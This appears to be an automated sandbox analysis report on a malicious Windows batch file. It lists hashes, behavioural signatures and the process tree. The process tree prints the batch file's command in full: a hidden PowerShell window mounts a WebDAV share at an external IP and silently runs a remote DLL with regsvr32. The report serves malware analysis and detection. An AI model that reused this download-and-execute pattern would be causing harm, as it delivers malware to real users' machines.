Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    19/07/2024, 06:50

General

  • Target

    337826846301124085.bat

  • Size

    2KB

  • MD5

    998857e16764657be1ff8932a538d504

  • SHA1

    a31ceb1a6a6773e0dbf890de7543b8abaea25939

  • SHA256

    3eaf367eb49955b90ea5c12849e10a1f6023bbaf5e1357978f04482f67fe8e6f

  • SHA512

    2f89361ba5f653828e916055ba90590c94690e02cfc9e92ba155d3030eacc31e65bb933ff0b52ee600e036c10aabb56393bf93d711cc04a929c19a64ee20e8d4

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\337826846301124085.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3052
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2920
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\31771253245916.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2632
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2148
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\31771253245916.dll
          3⤵
            PID:2932

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • memory/2632-23-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

        Filesize

        2.9MB

      • memory/2632-24-0x0000000001F80000-0x0000000001F88000-memory.dmp

        Filesize

        32KB

      • memory/3052-17-0x00000000023B0000-0x00000000024B0000-memory.dmp

        Filesize

        1024KB